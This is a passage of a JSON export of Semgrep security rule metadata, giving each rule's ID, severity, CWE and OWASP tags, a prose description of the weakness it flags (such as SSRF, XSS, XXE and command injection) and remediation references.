user-input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","id":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","name":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"help":{"markdown":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall","id":"ruby.lang.security.dangerous-syscall.dangerous-syscall","name":"ruby.lang.security.dangerous-syscall.dangerous-syscall","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-syscall.dangerous-syscall"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","id":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","name":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"help":{"markdown":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","id":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","name":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","id":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","name":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","id":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","name":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"help":{"markdown":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path)\n - [https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/](https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/)\n","text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","id":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","name":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","id":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","name":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"helpUri":"https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","id":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","name":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.nosql-injection-servlets.nosql-injection-servlets"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"help":{"markdown":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","id":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","name":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","id":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","name":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag)\n - [https://www.php.net/manual/en/language.basic-syntax.phptags.php](https://www.php.net/manual/en/language.basic-syntax.phptags.php)\n","text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","id":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","name":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"help":{"markdown":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization)\n - [https://github.com/mgholam/fastJSON#security-warning-update](https://github.com/mgholam/fastJSON#security-warning-update)\n","text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","id":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","name":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The code must not contain any of Unicode Direction Control Characters"},"help":{"markdown":"The code must not contain any of Unicode Direction Control Characters\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters)\n - [https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo](https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo)\n","text":"The code must not contain any of Unicode Direction Control Characters"},"helpUri":"https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters","id":"solidity.security.no-bidi-characters.no-bidi-characters","name":"solidity.security.no-bidi-characters.no-bidi-characters","properties":{"precision":"very-high","tags":["CWE-837: Improper Enforcement of a Single, Unique Action","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-bidi-characters.no-bidi-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"help":{"markdown":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2)\n","text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2","id":"python.lang.compatibility.python37.python37-compatibility-importlib2","name":"python.lang.compatibility.python37.python37-compatibility-importlib2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"help":{"markdown":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal)\n - [https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af](https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal","id":"php.lang.security.tainted-path-traversal.tainted-path-traversal","name":"php.lang.security.tainted-path-traversal.tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-path-traversal.tainted-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. 